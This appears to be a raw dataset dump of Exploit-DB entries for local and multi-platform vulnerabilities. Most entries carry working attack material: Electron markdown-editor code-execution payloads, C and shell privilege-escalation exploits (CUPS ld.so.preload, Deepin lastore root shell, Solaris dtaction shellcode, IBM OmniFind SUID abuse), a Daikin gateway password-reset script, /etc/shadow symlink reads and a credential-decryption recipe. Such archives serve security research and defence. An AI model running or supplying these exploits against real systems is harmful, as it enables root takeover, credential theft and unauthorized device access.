deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51432
Description: Codigo Markdown Editor v1.0.1 (Electron) - Remote Code Execution
Type: local
Platform: multiple
Date: 2023-05-05
Author: 8bitsec

Exploit:
# Exploit Title: Codigo Markdown Editor v1.0.1 (Electron) - Arbitrary Code Execution
# Date: 2023-05-03
# Exploit Author: 8bitsec
# Vendor Homepage: https://alfonzm.github.io/codigo/
# Software Link: https://github.com/alfonzm/codigo-app
# Version: 1.0.1
# Tested on: [Mac OS 13]

Release Date:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
2023-05-03

Product & Service Introduction:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D
A Markdown editor & notes app made with Vue & Electron

Technical Details & Description:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D

A vulnerability was discovered on Codigo markdown editor v1.0.1 allowing a =
user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following pay=
load:
<video><source onerror=3D"alert(require('child_process').execSync('/System/=
Applications/Calculator.app/Contents/MacOS/Calculator').toString());">

Opening the file in Codigo will auto execute the Calculator application.
Exploit-DB #48187
Description: Counter Strike: GO - '.bsp' Memory Control (PoC)
Type: local
Platform: multiple
Date: 2020-03-09
Author: 0day enthusiast

Exploit:
So I’ve been holding onto this neat little gem of a .bsp that has four bytes very close to the end of the file that controls the memory allocator. See above picture. Works on all supported operating systems last I checked (so Linux, Windows, and macOS), even after a few years.

Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48187.bsp
Exploit-DB #7550
Description: CUPS < 1.3.8-4 - Local Privilege Escalation
Type: local
Platform: multiple
Date: 2008-12-22
Author: Jon Oberheide

Exploit:
/*
 * cve-2008-5377.c
 *
 * CUPS < 1.3.8-4 pstopdf filter exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Usage:
 *
 *   $ gcc cve-2008-5377.c -o cve-2008-5377.c
 *   $ ./cve-2008-5377
 *   $ id
 *   uid=0(root) gid=1000(vm) ...
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-5377
 *
 *   pstopdf in CUPS 1.3.8 allows local users to overwrite arbitrary files via
 *   a symlink attack on the /tmp/pstopdf.log temporary file.
 *
 * Operation:
 *
 *   The exploit creates and prints a malformed postscript document that will
 *   cause the CUPS pstopdf filter to write an error message out to its log 
 *   file that contains the string /tmp/getuid.so.  However, since we also 
 *   symlink the pstopdf log file /tmp/pstopdf.log to /etc/ld.so.preload, the 
 *   error message and malicious shared library path will be appended to the
 *   ld.so.preload file, allowing us to elevate privileges to root.
 *
 * Note:
 * 
 *   This exploit only works under the (rare) conditions that cupsd executes 
 *   external filters as a privileged user, a printer on the system uses the 
 *   pstopdf filter (e.g. the pdf.ppd PDF converter). Also, /etc/ld.so.preload
 *   must be world readable.
 */

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>

int
main(void)
{
	int ret;
	FILE *fp;
	struct stat log;

	fp = fopen("/tmp/cve-2008-5377.ps", "w");
	if(!fp) {
		printf("error: cannot open /tmp/cve-2008-5377.ps\n");
		goto cleanup;
	}
	fprintf(fp, "%%!PS-Adobe-2.0 EPSF-2.0\n( /tmp/getuid.so ) CVE-2008-5377\n");
	fclose(fp);

	fp = fopen("/tmp/getuid.c", "w");
	if(!fp) {
		printf("error: cannot open /tmp/getuid.c\n");
		goto cleanup;
	}
	fprintf(fp, "int getuid(){return 0;}\n");
	fclose(fp);

	ret = system("cc -shared /tmp/getuid.c -o /tmp/getuid.so");
	if (WEXITSTATUS(ret) != 0) {
		printf("error: cannot compile /tmp/getuid.c\n");
		goto cleanup;
	}

	unlink("/tmp/pstopdf.log");
	ret = stat("/tmp/pstopdf.log", &log);
	if (ret != -1) {
		
		printf("error: /tmp/pstopdf.log already exists\n");
		goto cleanup;
	}

	ret = symlink("/etc/ld.so.preload", "/tmp/pstopdf.log");
	if (ret == -1) {
		printf("error: cannot symlink /tmp/pstopdf.log to /etc/ld.so.preload\n");
		goto cleanup;
	}

	ret = system("lp < /tmp/cve-2008-5377.ps");
	if (WEXITSTATUS(ret) != 0) {
		printf("error: could not print /tmp/cve-2008-5377.ps\n");
		goto cleanup;
	}

cleanup:
	unlink("/tmp/cve-2008-5377.ps");
	unlink("/tmp/getuid.c");
	return 0;
} 

// milw0rm.com [2008-12-22]
Exploit-DB #52278
Description: Daikin Security Gateway  14 - Remote Password Reset
Type: local
Platform: multiple
Date: 2025-05-01
Author: LiquidWorm

Exploit:
# Daikin Security Gateway 214 - Remote Password Reset
# Vendor: Daikin Industries, Ltd.
# Product web page: https://www.daikin.com
# https://www.daikin.eu/en_us/products/product.html/DRGATEWAYAA.html
# Affected version: App: 100, Frm: 214
#
# Summary: The Security gateway allows the iTM and LC8 controllers
# to connect through the Security gateway to the Daikin Cloud Service.
# Instead of sending the report to the router directly, the iTM or
# LC8 controller sends the report to the Security gateway first. The
# Security gateway transforms the report format from http to https
# and then sends the transformed https report to the Daikin Cloud
# Service via the router. Built-in LAN adapter enabling online control.
#
# Desc: The Daikin Security Gateway exposes a critical vulnerability
# in its password reset API endpoint. Due to an IDOR flaw, an unauthenticated
# attacker can send a crafted POST request to this endpoint, bypassing
# authentication mechanisms. Successful exploitation resets the system
# credentials to the default Daikin:Daikin username and password combination.
# This allows attackers to gain unauthorized access to the system without
# prior credentials, potentially compromising connected devices and networks.
#
# Tested on: fasthttp
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2025-5931
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5931.php
#
#
# 21.03.2025
#

[ $# -ne 1 ] && { echo "Usage: $0 <target_ip>"; exit 1; }

TARGET_IP="$1"
URL="https://$TARGET_IP/api/settings/password/reset"
PAYLOAD="t00t"

[[ ! $TARGET_IP =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && { echo "Bad IP."; exit 1; }

RESPONSE=$(curl -kX POST "$URL" -H "Content-type: application/json" -d "$PAYLOAD" 2>/dev/null)

[ $? -ne 0 ] && { echo "Can’t reach $TARGET_IP."; exit 1; }

if [[ $RESPONSE =~ \"Error\":0 ]]; then
  echo "Reset worked! Vulnerable."
elif [[ $RESPONSE =~ \"Error\":1 ]]; then
  echo "Not vulnerable."
else
  echo "Got: $RESPONSE"
fi
Exploit-DB #47175
Description: Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation
Type: local
Platform: multiple
Date: 2018-12-30
Author: bcoles

Exploit:
#!/bin/bash
# Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
#
# The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any user
# in the sudo group to install arbitrary packages without providing a password,
# resulting in code execution as root. By default, the first user created on
# the system is a member of the sudo group.
# ~ bcoles
#
# Based on exploit by King's Way: https://www.exploit-db.com/exploits/39433/
#
echo Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
echo Building package...
BASE="/tmp/"
UUID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 32 | head -n 1)
mkdir "${BASE}${UUID}" && mkdir "${BASE}${UUID}/DEBIAN"
echo -e "Package: ${UUID}\nVersion: 0.1\nMaintainer: ${UUID}\nArchitecture: all\nDescription: ${UUID}" > ${BASE}${UUID}/DEBIAN/control
echo -e "#!/bin/sh\ncp /bin/sh ${BASE}/rootsh\nchmod 04755 ${BASE}/rootsh\n" > ${BASE}${UUID}/DEBIAN/postinst
chmod +x ${BASE}${UUID}/DEBIAN/postinst
dpkg-deb --build "${BASE}${UUID}"
echo Installing package...
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.InstallPackage string:"${UUID}" string:"${BASE}${UUID}.deb"
sleep 10
echo Removing package...
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.RemovePackage string:" " string:"${UUID}"
rm -rf "${BASE}${UUID}" "${BASE}${UUID}.deb"
if [ -f /tmp/rootsh ]
then
  echo "Success! Found root shell: /tmp/rootsh"
  /tmp/rootsh
else
  echo "Exploit failed! Check /var/log/lastore/daemon.log"
fi
Exploit-DB #19497
Description: DIGITAL UNIX 4.0 d/e/f / AIX 4.3.2 / CDE 2.1 / IRIX 6.5.14 / Solaris 7.0 - Local Buffer Overflow
Type: local
Platform: multiple
Date: 1999-09-13
Author: Job de Haas of ITSX

Exploit:
/*
source: https://www.securityfocus.com/bid/635/info

TRU64/DIGITAL UNIX 4.0 d/e/f,AIX <= 4.3.2,Common Desktop Environment <= 2.1,IRIX <= 6.5.14,Solaris <= 7.0 dtaction Userflag Buffer Overflow Vulnerability  

CDE is the Common Desktop Environment, an implementation of a Desktop Manager for systems that run X. It is distributed with various commercial UNIX implementations.

Under some distributions of CDE Common Desktop Environment, the dtaction program has a locally exploitable buffer overflow condition. The buffer overflow condition exists in the argument parsing code for the -u (user) function. Any information provided by the user over 1024 bytes may overwrite the buffer and in return be exploited by a malicious user.

Since the dtaction program is typically installed setuid root, this make it possible for a local user to gain administrative access on a vulnerable system.
*/


/*
* dtaction_ov.c
* Job de Haas
* (c) ITSX bv 1999
*
* This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
* It has only been tested on Solaris 7 x86
* assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
*
*/

#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <pwd.h>

#define BUFLEN 998

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";

main()
{
char *argp[6], *envp[3];
char buf[2048];
unsigned long *p;
struct passwd *pw;
int buflen;

if ((pw = getpwuid(getuid())) == NULL) {
perror("getpwuid");
exit(1);
}

buflen = BUFLEN - strlen( pw->pw_name );

memset(buf,0x90,buflen);

strncpy( &buf[500], exploit_code, strlen(exploit_code));

/* set some pointers to values that keep code running */
p = (unsigned long *)&buf[buflen];
*p++ = 0x37dc779b;
*p++ = 0xdfaf6502;
*p++ = 0x08051230;
*p++ = 0x080479b8;

/* the return address. */
*p++ = 0x08047710;
*p = 0;

argp[0] = strdup("/usr/dt/bin/dtaction");
argp[1] = strdup("-u");
argp[2] = strdup(buf);
argp[3] = strdup("Run");
argp[4] = strdup("/usr/bin/id");
argp[5] = NULL;

if (!getenv("DISPLAY")) {
printf("forgot to set DISPLAY\n");
exit(1);
}

envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
strcpy(envp[0],"DISPLAY=");
strcat(envp[0],getenv("DISPLAY"));
envp[1] = NULL;

execve("/usr/dt/bin/dtaction",argp,envp);

}
Exploit-DB #11029
Description: DirectAdmin 1.33.6 - Symlink Security Bypass
Type: local
Platform: multiple
Date: 2010-01-06
Author: alnjm33

Exploit:
Subject: DirectAdmin <= 1.33.6 Symlink Permission Bypass
Date: 5/1/21010
Author: alnjm33
Tested on: 1.33.6 -- 1.33.1 and i think it's work in all versions
Home:sec-war.com
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::exploit::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
first
must execute this command on the server >>>> ln /etc/shadow
to make symbolic link to shadow file in any dir
after that go to
Create/Restore Backups in direct and make
((Domains Directory: Backs up))
the backup file will be in
/home/test/backups
go there then Extract tar.gz file
after extract
go to
/home/test/backups/domains/test.com/public_html
or the dir which you execute the command
and now you can read the shadow file which have 400 Permission

Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso -JaMbA-RoOt_EgY-jago-dz-XR57 all sec-war.com members<http://sec-war.com/cc//index.php?showuser=36>
Exploit-DB #52472
Description: Docker Desktop 4.44.3 - Unauthenticated  API Exposure
Type: local
Platform: multiple
Date: 2026-02-04
Author: aprillefou

Exploit:
# Exploit Title: Docker Desktop 4.44.3 - Unauthenticated  API Exposure
# Date: 2025-10-06
# Exploit Author: OilSeller2001
# Vendor Homepage: https://www.docker.com/
# Software Link: https://www.docker.com/products/docker-desktop/
# Version: Affected on Windows and macOS versions prior to 4.44.3
# Tested on: Windows 11 + Docker Desktop 4.43.0
# Exploit Type: Remote, Local, Shellcode
# Platform: Windows
# CVE: CVE-2025-9074

# Description:
This PoC script exploits a security misconfiguration in the unauthenticated exposure of the Docker Engine API. 
By sending crafted API requests directly to the Docker daemon, the script creates and starts a specially prepared container. 
The container leverages the bind mount feature to map sensitive directories from the host filesystem into the container, effectively granting arbitrary access to the host. 
This results in a high-privilege remote code execution scenario.

# Vulnerability Details:
The Docker Engine API (TCP port 2375) can be exposed without TLS authentication via the "Expose daemon on tcp://localhost:2375 without TLS" option in Docker Desktop. 
If this option is enabled, any local or remote attacker with network access to the exposed port can control the Docker daemon without authentication.

# Usage:
1. Expose the Docker daemon on TCP 2375 without TLS (testing environment only).
2. Run the PoC against the target:
   python3 poc_cve_2025_9074.py <target_ip>:2375
3. The script will:
   - Check API availability
   - Pull an image
   - Create a malicious container with bind mounts to the host filesystem
   - Start the container, allowing access to host files

# Mitigation:
- Disable the unauthenticated Docker API exposure after testing.
- Use TLS certificates if remote API access is required.
- Restrict network access to port 2375 via firewall rules.

# PoC Download Link:
https://github.com/OilSeller2001/PoC-for-CVE-2025-9074
Exploit-DB #8067
Description: Enomaly ECP / Enomalism < 2.2.1 - Multiple Local Vulnerabilities
Type: local
Platform: multiple
Date: 2009-02-16
Author: Sam Johnston

Exploit:
Enomaly ECP/Enomalism: Multiple vulnerabilities in enomalism2.sh (redux)

Synopsis

All versions of Enomaly ECP/Enomalism[1] before 2.2.1 have multiple issues
relating to the use of temporary files in an insecure manner.

Fixes for CVE-2008-4990[2] and CVE-2009-0390[3] in 2.1.1 and 2.2 were found
to be ineffective.

Background

Enomaly ECP (formerly Enomalism) is management software for virtual machines.

Description

Sam Johnston[4] of Australian Online Solutions[5] reported multiple
vulnerabilities in enomalism2.sh:
 - Race condition on $PIDFILE renders 2.1.1 fixes ineffective
 - Incomplete fixes in 2.1.1/2.2 fail to address stop/restart functions
 - Root ownership check (ls -l $PIDFILE |grep root) is trivially bypassed by:
   - changing the symlink's group to one containing the word 'root' or
   - creating a symlink to any filename containing the word 'root'
 - Process check (ps -p $PID |grep enomalism2d) is also trivially bypassed.

Impact

A local attacker could perform a symlink attack to overwrite arbitrary files
on the system with root privileges, inject arguments to the 'kill' command
to terminate or send arbitrary signals to any process(es) as root or launch
a denial of service attack by preventing the virtual machines from starting.

Exploits

a. while true; do ln -s /etc/passwd /tmp/enomalism2.pid; done
b. echo "-9 1" > /tmp/enomalism2.pid
c. i. ln -s /tmp/root /tmp/enomalism2.pid
  ii. chgrp beetroot /tmp/enomalism2.pid

Workaround

Change PIDFILE from /tmp/enomalism2.pid to /var/run/enomalism2.pid

Resolution

All Enomaly ECP and Enomalism users should upgrade to version 2.2.1[6] which
includes researcher fix.

History

2009-02-09 Bug initially reported to Enomaly by mail
2009-02-09 CVE(s) requested from Mitre; TBA
2009-02-09 Product Development Manager acknowledged receipt.
  "Thanks, we're incorporating a fix for the next release."
2009-02-10 Update announced[7] with no mention of security vulnerability:
  "ECP 2.2.1 is now available on both sourceforge and pypi.  This is a
  bug-fix release.  No new features have been added."
2009-02-14 Publication of vulnerability

References
1. http://sourceforge.net/projects/enomalism
2. http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-4990
3. http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0390
4. http://samj.net/
5. http://www.aos.net.au/
6. http://sourceforge.net/project/showfiles.php?group_id=164855&package_id=186866&release_id=660061
7. http://groups.google.com/group/enomalism/browse_thread/thread/ae94ac7cb5fa7683

# milw0rm.com [2009-02-16]
Exploit-DB #51469
Description: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution
Type: local
Platform: multiple
Date: 2023-05-23
Author: 8bitsec

Exploit:
# Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution
# Date: 2023-04-24
# Exploit Author: 8bitsec
# CVE: CVE-2023-31873
# Vendor Homepage: https://github.com/mariuskueng/gin
# Software Link: https://github.com/mariuskueng/gin
# Version: 0.7.4
# Tested on: [Mac OS 13]

Release Date:

2023-04-24

Product & Service Introduction: Javascript Markdown editor for Mac

Technical Details & Description:
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload:
<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">

Opening the file in Gin will auto execute the Calculator application.
Exploit-DB #24923
Description: Google AD Sync Tool - Exposure of Sensitive Information
Type: local
Platform: multiple
Date: 2013-04-08
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-13-001

Release Date.              03-Apr-2013
Last Update.               -              
Vendor Notification Date.  03-Sep-2012
Product.                   Google Active Directory Sync (GADS) Tool 
Platform.                  Windows, Linux, Solaris
Affected versions.         All versions up to 3.1.3
Severity Rating.           High
Impact.                    Exposure of sensitive information
Attack Vector.             From local without authentication
Solution Status.           Upgrade to version 3.1.6
CVE reference.             CVE - not yet assigned

Details.
Due to a weakness in the way the Java encryption algorithm
(PBEwithMD5andDES) has been implemented in the GADS tool all 
stored credentials can be decrypted into plain-text. This
includes all of the encrypted passwords stored in any end-users
saved XML configuration file, such as Active Directory accounts,
SMTP, Proxy details, LDAP and OAuth tokens, etc.

Proof of Concept.
Using the following information from the XML and GADS tool to
decrypt all encrypted passwords from any XML:

1. The hard coded salt: 
   SALT[] = { -87, -101, -56, 50, 86, 53, -29, 3 }
2. The hard coded DES interation count: 
   ITERATION_COUNT = 20
3. The Secret key derived from the uniqueID value in the XML: 
   6512630db9a74d90a5531f574b85f398
4. The cipher-text from the XML: 
   <encryptedAdminPassword>1edOUtamjNA=</encryptedAdminPassword>
5. The algorithm: PBEwithMD5andDES

The decrypted value is: winning!

Solution.
Upgrade to version 3.1.6

Discovered by.
Nathaniel Carew from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment 
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/penetration-testing
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-13-001.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #15475
Description: IBM OmniFind - Local Privilege Escalation
Type: local
Platform: multiple
Date: 2010-11-09
Author: Fatih Kilic

Exploit:
* Privilege escalation in two applications (CVE-2010-3895)

Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.

-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
-------------------------------------------------------------------------


»esRunCommand« takes one argument and runs it as root. See example below.
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  
  joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------



The application »estaskwrapper« is meant to start the application »estasklight«. 
The pseudo c code looks like this:
-------------------------------------------------------------------------
	main() {
	  int auth = 0;
	  ...
	  if (argv[1] == "estasklight") {
	    auth = 1;
		  ...
		  path = getenv("ES_LIBRARY_PATH");
		  if (path) {
		    setenv("LD_LIBRARY_PATH", path);
		    setenv("LIBPATH", path);
		    ...
		    if (auth) {
		  	  execvp ("estasklight", args);
		    }
		    ...
		  }
	    ...
	  }
	...
	}
-------------------------------------------------------------------------


Explanation of the code:

»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set. 
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.



Exploit for running /bin/sh
-------------------------------------------------------------------------
joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------